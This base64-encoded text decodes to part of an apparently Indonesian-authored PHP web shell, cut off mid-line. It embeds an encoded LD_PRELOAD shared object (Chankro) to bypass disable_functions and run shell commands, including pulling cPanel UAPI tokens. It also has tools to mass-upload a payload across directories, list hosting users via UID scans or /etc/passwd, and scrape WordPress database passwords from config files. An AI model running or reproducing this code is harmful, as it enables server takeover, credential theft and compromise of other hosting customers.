QUFBQUFBRVFFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFKUUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFRRUFBQkFBRndCb0VDQUFBQUFBQUFBQUFBQUFBQUFBU0FFQUFCSUFEQUFVQ1FBQUFBQUFBQ2tBQUFBQUFBQUFVZ0VBQUJJQURRQmNDUUFBQUFBQUFBQUFBQUFBQUFBQVdBRUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFFQUFCSUFEQURnQ0FBQUFBQUFBRFFBQUFBQUFBQUFjQUVBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWhBRUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBa3dFQUFCSUFEQUE5Q1FBQUFBQUFBQjBBQUFBQUFBQUFuUUVBQUJBQUdBQndFQ0FBQUFBQUFBQUFBQUFBQUFBQW9nRUFBQkFBR0FCb0VDQUFBQUFBQUFBQUFBQUFBQUFBcmdFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3UUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTFRRUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNndFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEvUUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZ3SUFBQ0lBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTXdJQUFCSUFDUUFZQndBQUFBQUFBQUFBQUFBQUFBQUFPUUlBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHTnlkSE4wZFdabUxtTUFYMTlLUTFKZlRFbFRWRjlmQUdSbGNtVm5hWE4wWlhKZmRHMWZZMnh2Ym1WekFGOWZaRzlmWjJ4dlltRnNYMlIwYjNKelgyRjFlQUJqYjIxd2JHVjBaV1F1TmprM01nQmZYMlJ2WDJkc2IySmhiRjlrZEc5eWMxOWhkWGhmWm1sdWFWOWhjbkpoZVY5bGJuUnllUUJtY21GdFpWOWtkVzFkZVFCZlgyWnlZVzFsWDJSMWJXMTVYMmx1YVhSZllYSnlZWGxmWlc1MGNua0FhRzl2YXk1akFGOWZSbEpCVFVWZlJVNUVYMThBWDE5S1ExSmZSVTVFWDE4QVgxOWtjMjlmYUdGdVpHeGxBRjlFV1U1QlRVbERBRjlmUjA1VlgwVklYMFpTUVUxRlgwaEVVZ0JmWDFUTV9sRlRrUmZYd0JmUjB4UFFrRk1YMDlHUmxORlZGOVVRVUpNUlY4QVoyVjBaVzUyUUVCSFRFbENRMTh5TGpJdU5RQmZTVlJOWDJSbGNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMlZrWVhSaEFHUmhaVzF2Ym1sNlpRQmZabWx1YVFCemVYTjBaVzFBUUVkTVNVSkRYekl1TWk0MUFIQjNiZ0J6YVdkdVlXeEFRRWRNU1VKRFh6SXVNaTQxQUY5ZloyMXZibDl6ZEdGeWRGOWZBSEJ5Wld4dllXUnRaUUJmWlc1a0FGOWZZbk56WDNOMFlYSjBBR05vYlc5a1FFQkhURWxDUTE4eUxqSXVOUUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6QUhWdWMyVjBaVzUyUUVCSFRFbEJRa05mTWk0eUxqVUFYMlY0YVhSQVFFZE1TVUpEWHpJdU1pNDFBRjlKVkUxZmNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMTlqZUdGZlptbHVZV3hwZW1WQVFFZE1TVUpEWHpJdU1pNDFBRjlwYm1sMEFHWnZjbXRBUUVkTVNVSkRYekl1TWk0MUFBPT0nOw0KDQogICAgICAgICAgICAkc29fZmlsZSA9ICR0YXJnZXQgLiAnL2NoYW5rcm8uc28nOw0KICAgICAgICAgICAgJHNvY2tldF9maWxlID0gJHRhcmdldCAuICcvYWNwaWQuc29ja2V0JzsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gT3V0cHV0IGtlIFRNUCBqaWthIFVBUEkgKGxlYmloIGNlcGF0L3N0YWJpbCksIGxva2FsIGppa2EgYmlhc2ENCiAgICAgICAgICAgIGlmICgkaXNfdWFwaV90b2tlbikgew0KICAgICAgICAgICAgICAgICRvdXRfZmlsZSA9ICcvdG1wL3NmbV9vdXRfJyAuIHRpbWUoKSAuICcudHh0JzsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG91dF9maWxlID0gJHRhcmdldCAuICcvY2hhbmtyb19vdXQudHh0JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgQHVubGluaygkc29fZmlsZSk7IEB1bmxpbmsoJHNvY2tldF9maWxlKTsgQHVubGluaygkb3V0X2ZpbGUpOw0KDQogICAgICAgICAgICAvLyBBTlRJLUxPT1A6IEd1bmFrYW4gJ2VudiAtdScgdW50dWsgbWVtYmVyc2loa2FuIHZhcmlhYmVsIGhvb2sgc2ViZWx1bSBwZXJpbnRhaCBkaWphbGFua2FuDQogICAgICAgICAgICAkc2FmZV9jbWQgPSAiZXhwb3J0IFBBVEg9L2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW47IGVudiAtdSBMRF9QUkVMT0FEIC11IENIQU5LUk8gIiAuICRjbWRfcmF3Ow0KICAgICAgICAgICAgJGZ1bGxfY29tbWFuZCA9ICIoJHNhZmVfY21kKSA+ICRvdXRfZmlsZSAyPiYxIjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJG1ldGVycHJldGVyID0gYmFzZTY0X2VuY29kZSgkZnVsbF9jb21tYW5kKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgeF93cml0ZSgkc29fZmlsZSwgYmFzZTY0X2RlY29kZSgkaG9vaykpOw0KICAgICAgICAgICAgeF93cml0ZSgkc29ja2V0X2ZpbGUsIGJhc2U2NF9kZWNvZGUoJG1ldGVycHJldGVyKSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHB1dGVudignQ0hBTktSTz0nIC4gJHNvY2tldF9maWxlKTsNCiAgICAgICAgICAgIHB1dGVudignTERfUFJFTE9BRD0nIC4gJHNvX2ZpbGUpOw0KDQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYWlsJykpIHsgQG1haWwoJ2EnLCdhJywnYScsJ2EnKTsgfSANCiAgICAgICAgICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9zZW5kX21haWwnKSkgeyBAbWJfc2VuZF9tYWlsKCdhJywnYScsJ2EnLCdhJyk7IH0gDQogICAgICAgICAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXJyb3JfbG9nJykpIHsgQGVycm9yX2xvZygnYScsIDEsICdhJyk7IH0gDQogICAgICAgICAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9tYWlsJykpIHsgQGltYXBfbWFpbCgnYScsJ2EnLCdhJyk7IH0NCg0KICAgICAgICAgICAgc2xlZXAoJGlzX3VhcGlfdG9rZW4gPyA1IDogMik7DQoNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkb3V0X2ZpbGUpKSB7DQogICAgICAgICAgICAgICAgJHJhd19vdXQgPSBmaWxlX2dldF9jb250ZW50cygkb3V0X2ZpbGUpOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmICgkaXNfdWFwaV90b2tlbikgew0KICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL3Rva2VuOlxzKihcUyspL2knLCAkcmF3X291dCwgJG0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gIlNVQ0NFU1MgVE9LRU46XG4iIC4gJG1bMV07DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChzdHJpcG9zKCRyYXdfb3V0LCAnWW91IGRvIG5vdCBoYXZlIHRoZSBmZWF0dXJlJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gIkZBSUxFRDogRmVhdHVyZSAnYXBpdG9rZW5zJyBkaXNhYmxlZCBieSBob3N0LiI7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2xlYW4gPSBwcmVnX3JlcGxhY2UoJy9eRVJST1I6IGxkXC5zbzouKiQvbScsICcnLCAkcmF3X291dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gdHJpbSgkY2xlYW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoZW1wdHkoJG91dCkpICRvdXQgPSAiVUFQSSBFeGVjdXRlZCBidXQgbm8gdG9rZW4gZm91bmQgKFJhdyk6XG4iIC4gc3Vic3RyKCRyYXdfb3V0LCAwLCA1MDApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gQ0xFQU4gT1VUUFVUDQogICAgICAgICAgICAgICAgICAgICRjbGVhbiA9IHByZWdfcmVwbGFjZSgnL15FUlJPUjogbGRcLnNvOi4qJC9tJywgJycsICRyYXdfb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgJG91dCA9IHRyaW0oJGNsZWFuKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRvdXQpICYmICFlbXB0eSgkcmF3X291dCkpICRvdXQgPSAkcmF3X291dDsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG91dCA9ICJbQ2hhbmtybyBGYWlsZWQ6IE91dHB1dCBmaWxlIG5vdCBjcmVhdGVkIGF0ICRvdXRfZmlsZV0iOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBAdW5saW5rKCRzb19maWxlKTsgQHVubGluaygkc29ja2V0X2ZpbGUpOyANCiAgICAgICAgICAgIGlmKCRpc191YXBpX3Rva2VuKSBAdW5saW5rKCRvdXRfZmlsZSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJG91dCkgfHwgc3RybGVuKHRyaW0oJG91dCkpID09PSAwKSB7DQogICAgICAgICAgICAkb3V0ID0gIltObyBPdXRwdXQgUHJvZHVjZWRdIjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICRvdXQ7IGV4aXQ7DQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICd0b29sJykgew0KICAgICAgICAkdG9vbCA9IGlzc2V0KCRfU0VSVkVSWyRoX3Rvb2xdKSA/ICRfU0VSVkVSWyRoX3Rvb2xdIDogJyc7DQogICAgICAgICRob21lX2RpcnMgPSBnZXRfaG9tZV9kaXJzKCk7DQoNCiAgICAgICAgLy8gLS0tIFVQREFURUQgTUFTUyBVUExPQUQgKFVTRSBST0JVU1QgV1JJVEUpIC0tLQ0KICAgICAgICBpZiAoJHRvb2wgPT09ICdtYXNzX3VwbG9hZCcpIHsNCiAgICAgICAgICAgICRtb2RlID0gaXNzZXQoJF9TRVJWRVJbJGhfbW1vZGVdKSA/ICRfU0VSVkVSWyRoX21tb2RlXSA6ICdpbml0JzsNCiAgICAgICAgICAgICR0bXBfbGlzdCA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICIvc2ZtX21hc3NfdGFyZ2V0cy5qc29uIjsNCiAgICAgICAgICAgICR0bXBfZmlsZSA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICIvc2ZtX21hc3NfcGF5bG9hZC50bXAiOw0KDQogICAgICAgICAgICBpZiAoJG1vZGUgPT09ICdpbml0Jykgew0KICAgICAgICAgICAgICAgICRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOw0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskaF9lbmNdKSAmJiAkX1NFUlZFUlskaF9lbmNdID09PSAnYjY0JykgJGlucHV0ID0gYmFzZTY0X2RlY29kZSgkaW5wdXQpOw0KICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR0bXBfZmlsZSwgJGlucHV0KTsNCiAgICAgICAgICAgICAgICAkdGFyZ2V0cyA9IHNjYW5fc21hcnRfdGFyZ2V0cygkdGFyZ2V0KTsgDQogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHRtcF9saXN0LCBqc29uX2VuY29kZSgkdGFyZ2V0cykpOw0KICAgICAgICAgICAgICAgIGpzb25fb3V0KFsnc3RhdHVzJyA9PiAncmVhZHknLCAndG90YWwnID0+IGNvdW50KCR0YXJnZXRzKV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoJG1vZGUgPT09ICdwcm9jZXNzJykgew0KICAgICAgICAgICAgICAgICRzdGVwID0gaXNzZXQoJF9TRVJWRVJbJGhfc3RlcF0pID8gKGludCkkX1NFUlZFUlskaF9zdGVwXSA6IDA7DQogICAgICAgICAgICAgICAgJGZpbGVuYW1lID0gaXNzZXQoJF9TRVJWRVJbJGhfZGF0YV0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9kYXRhXSkgOiAnbWFzc19maWxlLnBocCc7DQogICAgICAgICAgICAgICAgJGxpbWl0ID0gMjA7IA0KDQogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkdG1wX2xpc3QpIHx8ICFmaWxlX2V4aXN0cygkdG1wX2ZpbGUpKSB7IGpzb25fb3V0KFsnc3RhdHVzJz0+J2Vycm9yJywgJ21zZyc9PidUYXNrIGV4cGlyZWQuJ10pOyB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJHRhcmdldHMgPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygkdG1wX2xpc3QpLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAkdG90YWwgPSBjb3VudCgkdGFyZ2V0cyk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCR0b3RhbCA9PT0gMCB8fCAkc3RlcCA+PSAkdG90YWwpIHsNCiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkdG1wX2xpc3QpOyBAdW5saW5rKCR0bXBfZmlsZSk7IA0KICAgICAgICAgICAgICAgICAgICBqc29uX291dChbJ3N0YXR1cycgPT4gJ2RvbmUnLCAndG90YWwnID0+ICR0b3RhbF0pOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICRiYXRjaCA9IGFycmF5X3NsaWNlKCR0YXJnZXRzLCAkc3RlcCwgJGxpbWl0KTsNCiAgICAgICAgICAgICAgICAkcGF5bG9hZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0bXBfZmlsZSk7DQogICAgICAgICAgICAgICAgJGNvdW50X29rID0gMDsNCg0KICAgICAgICAgICAgICAgIGZvcmVhY2goJGJhdGNoIGFzICRkaXIpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoeF9yb2J1c3Rfd3JpdGUoJGRpciAuICcvJyAuICRmaWxlbmFtZSwgJHBheWxvYWQsIGZhbHNlKSkgJGNvdW50X29rKys7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJG5leHRfc3RlcCA9ICRzdGVwICsgJGxpbWl0Ow0KICAgICAgICAgICAgICAgIGpzb25fb3V0KFsnc3RhdHVzJyA9PiAnY29udGludWUnLCAnbmV4dF9zdGVwJyA9PiAkbmV4dF9zdGVwLCAndG90YWwnID0+ICR0b3RhbCwgJ29rX2JhdGNoJyA9PiAkY291bnRfb2tdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICAgICAgICAgLy8gLS0tIEJZUEFTUyBVU0VSIChQUklPUklUWTogSUQgU0NBTk5JTkcgLT4gRkFMTEJBQ0s6IEVUQy9QQVNTV0QpIC0tLQ0KICAgICAgICBpZiAoJHRvb2wgPT09ICdieXBhc3NfdXNlcicpIHsNCiAgICAgICAgICAgICRmb3VuZCA9IFtdOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBEYWZ0YXIgdXNlciBzeXN0ZW0vc2FtcGFoIHlhbmcgd2FqaWIgZGlidWFuZw0KICAgICAgICAgICAgJGJsYWNrbGlzdCA9IFsNCiAgICAgICAgICAgICAgICAncm9vdCcsICdiaW4nLCAnZGFlbW9uJywgJ2FkbScsICdscCcsICdzeW5jJywgJ3NodXRkb3duJywgJ2hhbHQnLCAnbWFpbCcsIA0KICAgICAgICAgICAgICAgICdvcGVyYXRvcicsICdnYW1lcycsICdmdHAnLCAnbmFtZWQnLCAnbnNjZCcsICdycGN1c2VyJywgJ3JwYycsICdtYWlsbnVsbCcsIA0KICAgICAgICAgICAgICAgICd0c3MnLCAnc3NoZCcsICdkYnVzJywgJ2RvdmVjb3QnLCAncnRraXQnLCAnYWdlbnQzNjAnLCAnb3NzZWNlJywgJ29zc2VjbScsIA0KICAgICAgICAgICAgICAgICdvc3NlY3InLCAnb3NzZWMnLCAnaW11bmlmeTM2MC1zY2FubG9nZCcsICdpbXVuaWZ5MzYwLXdlYnNoaWVsZCcsICd3cC10b29sa2l0JywgDQogICAgICAgICAgICAgICAgJ2xzYWRtJywgJ19pbXVuaWZ5JywgJ2ZsYXRwYWsnLCAnZ2VvY2x1ZScsICdwaXBld2lyZScsICdwb2xraXRkJywgDQogICAgICAgICAgICAgICAgJ2NwYW5lbHBocG15YWRtaW4nLCAnY3BhbmVscGhwcGdhZG1pbicsICdkb3ZlbnVsbCcsICdteXNxbCcsICdjcHNlcycsIA0KICAgICAgICAgICAgICAgICdjcGFuZWxhbmFseXRpY3MnLCAnY3BhbmVsY29ubmVjdHRyYWNrJywgJ2NwYW5lbHJvdW5kY3ViZScsICdjcGFuZWxleGltc2Nhbm5lcicsIA0KICAgICAgICAgICAgICAgICdjcGFuZWxleGltZmlsdGVyJywgJ2NwYW5lbGxvZ2luJywgJ2NwYW5lbGNhYmNhY2hlJywgJ2NwYW5lbCcsICdtYWlsbWFuJywgDQogICAgICAgICAgICAgICAgJ2Nocm9ueScsICdzc3NkJywgJ3N5c3RlbWQtY29yZWR1bXAnLCAnbm9ib2R5JywgJ2FwYWNoZScsICduZ2lueCcsICdsaXRlc3BlZWQnLA0KICAgICAgICAgICAgICAgICdzeXN0ZW1kLW5ldHdvcmsnLCAnc3lzdGVtZC1yZXNvbHZlJywgJ3N5c3RlbWQtdGltZXN5bmMnDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAvLyBNRVRPREUgMTogU0NBTk5JTkcgSUQgKFBSSU9SSVRBUyBVVEFNQSkNCiAgICAgICAgICAgIC8vIE1lbmNvYmEgbWVuZGFwYXRrYW4gdXNlciBsYW5nc3VuZyBkYXJpIEtlcm5lbCB2aWEgUE9TSVgNCiAgICAgICAgICAgIC8vIFJhbmdlIHNjYW46IDAgc2FtcGFpIDUwMDAgKE1lbmNha3VwIHVzZXIgc3lzdGVtICYgdXNlciBob3N0aW5nKQ0KICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgIGZvciAoJHVzZXJpZCA9IDA7ICR1c2VyaWQgPCA1MDAwOyAkdXNlcmlkKyspIHsgDQogICAgICAgICAgICAgICAgICAgICRhcnIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVzZXJpZCk7IA0KICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcnIpICYmIGlzc2V0KCRhcnJbJ25hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1ID0gJGFyclsnbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBpc3NldCgkYXJyWydkaXInXSkgPyAkYXJyWydkaXInXSA6ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAvLyBGaWx0ZXI6IFRpZGFrIGJvbGVoIGFkYSBkaSBibGFja2xpc3QgREFOIGhvbWUgZGlyIGhhcnVzIHZhbGlkDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KCR1LCAkYmxhY2tsaXN0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkaCwgJy9ob21lJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJGgsICcvdmFyL3d3dycpICE9PSBmYWxzZSB8fCBzdHJpcG9zKCRoLCAnL3Vzci9ob21lJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJHU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIE1FVE9ERSAyOiBSRUFEIC9FVEMvUEFTU1dEIChGQUxMQkFDSykNCiAgICAgICAgICAgIC8vIEhhbnlhIGRpamFsYW5rYW4gamlrYSBNZXRvZGUgMSAoU2Nhbm5pbmcgSUQpIGdhZ2FsIHRvdGFsIGF0YXUgcmV0dXJuIGtvc29uZw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRmb3VuZCkpIHsgDQogICAgICAgICAgICAgICAgJHJhd19ldGMgPSB4X3JlYWQoIi9ldGMvcGFzc3dkIik7DQogICAgICAgICAgICAgICAgaWYgKCRyYXdfZXRjKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbGluZXMgPSBleHBsb2RlKCJcbiIsICRyYXdfZXRjKTsgDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGxpbmVzIGFzICRsKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoZW1wdHkodHJpbSgkbCkpKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRwID0gZXhwbG9kZSgiOiIsICRsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1ID0gaXNzZXQoJHBbMF0pID8gdHJpbSgkcFswXSkgOiAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRoID0gaXNzZXQoJHBbNV0pID8gdHJpbSgkcFs1XSkgOiAnJzsgLy8gS29sb20gNiA9IEhvbWUgRGlyDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHUpICYmICFpbl9hcnJheSgkdSwgJGJsYWNrbGlzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkaCwgJy9ob21lJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJGgsICcvdmFyL3d3dycpICE9PSBmYWxzZSB8fCBzdHJpcG9zKCRoLCAnL3Vzci9ob21lJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJHU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSGFwdXMgZHVwbGlrYXQgJiBTaW1wYW4NCiAgICAgICAgICAgICRmb3VuZCA9IGFycmF5X3VuaXF1ZSgkZm91bmQpOw0KICAgICAgICAgICAgJG91dHB1dCA9ICIiOw0KICAgICAgICAgICAgZm9yZWFjaCgkZm91bmQgYXMgJHVzZXIpIHsNCiAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICR1c2VyIC4gIjpcbiI7IA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZighZW1wdHkoJG91dHB1dCkpIHsgDQogICAgICAgICAgICAgICAgeF93cml0ZSgicGFzc3dkLnR4dCIsICRvdXRwdXQpOyANCiAgICAgICAgICAgICAgICBlY2hvICJTYXZlZCB0bzogcGFzc3dkLnR4dFxuTWV0aG9kOiAiIC4gKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSA/ICJJRCBTY2FuIChQcmltYXJ5KSIgOiAiRmlsZSBSZWFkIChGYWxsYmFjaykiKSAuICJcbkNsZWFuIFVzZXJzIEZvdW5kOiAiIC4gY291bnQoJGZvdW5kKTsgDQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIkZhaWxlZC4gTm8gdmFsaWQgaG9zdGluZyB1c2VycyBmb3VuZCB2aWEgSUQgU2NhbiBvciBGaWxlIFJlYWQuIjsgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoJHRvb2wgPT09ICdhZGRfYWRtaW4nKSB7DQogICAgICAgICAgICAkc3RlcCA9IGlzc2V0KCRfU0VSVkVSWyRoX3N0ZXBdKSA/IChpbnQpJF9TRVJWRVJbJGhfc3RlcF0gOiAwOw0KICAgICAgICAgICAgJGxpbWl0ID0gNTsgDQogICAgICAgICAgICAkbW9kZSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfTU9ERSddKSA/ICRfU0VSVkVSWydIVFRQX1hfTU9ERSddIDogJ2p1bXBpbmcnOw0KICAgICAgICAgICAgJHRhcmdldF9zdWIgPSAoJG1vZGUgPT09ICdzeW1saW5rJykgPyAnM3hfc3ltJyA6ICdqdW1waW5nJzsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHNjYW5fcGF0aCA9IGlzX2RpcigkdGFyZ2V0IC4gJy8nIC4gJHRhcmdldF9zdWIpID8gJHRhcmdldCAuICcvJyAuICR0YXJnZXRfc3ViIDogJHRhcmdldDsNCiAgICAgICAgICAgICRhbGxfZmlsZXMgPSBzY2FuZGlyKCRzY2FuX3BhdGgpOw0KICAgICAgICAgICAgJGNvbmZpZ19maWxlcyA9IFtdOw0KICAgICAgICAgICAgZm9yZWFjaCgkYWxsX2ZpbGVzIGFzICRmKSB7IA0KICAgICAgICAgICAgIGlmKCRmID09ICcuJyB8fCAkZiA9PSAnLi4nKSBjb250aW51ZTsgDQogICAgICAgICAgICAgIGlmKHN0cmlwb3MoJGYsICdjb25maWcnKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygkZiwgJ3NldHRpbmdzJykgIT09IGZhbHNlIHx8IHN1YnN0cigkZiwgLTQpID09PSAnLnR4dCcpIHsNCiAgICAgICAgICAgICAgICRjb25maWdfZmlsZXNbXSA9ICRzY2FuX3BhdGggLiAnLycgLiAkZjsgDQogICAgICAgICAgICB9DQogICAgICAgICAgICAgIH0gICAgICAgICAgICANCiAgICAgICAgICAgICR0b3RhbCA9IGNvdW50KCRjb25maWdfZmlsZXMpOw0KICAgICAgICAgICAgaWYgKCRzdGVwID49ICR0b3RhbCkgeyBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJz0+J2RvbmUnLCAnaHRtbCc9PicnLCAndG90YWwnPT4kdG90YWxdKTsgZXhpdDsgfQ0KICAgICAgICAgICAgJGJhdGNoX2ZpbGVzID0gYXJyYXlfc2xpY2UoJGNvbmZpZ19maWxlcywgJHN0ZXAsICRsaW1pdCk7DQogICAgICAgICAgICAkaHRtbF9sb2cgPSAiIjsNCg0KICAgICAgICAgICAgZm9yZWFjaCgkYmF0Y2hfZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICAkY29udGVudCA9IHhfcmVhZCgkZmlsZSk7DQogICAgICAgICAgICAgICAgaWYoISRjb250ZW50KSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9OQU1FWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvaSIsICRjb250ZW50LCAkbV9uYW1lKSkgew0KICAgICAgICAgICAgICAgICAgICAkZGJfbmFtZSA9ICRtX25hbWVbMV07DQogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfVVNFUlsnXCJdXHMqLFxzKlsnXCJdKC4qPylbJ1wiXVxzKlwpL2kiLCAkY29udGVudCwgJG1fdXNlcik7ICRkYl91c2VyID0gJG1fdXNlclsxXSA/PyAnJzsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9QQVNTV09SRFsnXCJdXHMqLFxzKlsnXCJdKC4qPylbJ1wiXVxzKlwpL2kiLCAkY29udGVudCwgJG1fcGFzcyk7ICRkYl9wYXNzID0gJG1fcGFzc1sxXSA/PyAnJzsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9IT1NUWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvaSIsICRjb250ZW50LCAkbV9ob3N0KTsgJGRiX2hvc3QgPSAkbV9ob3N0PD9waHANCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIFNURUFMVEggR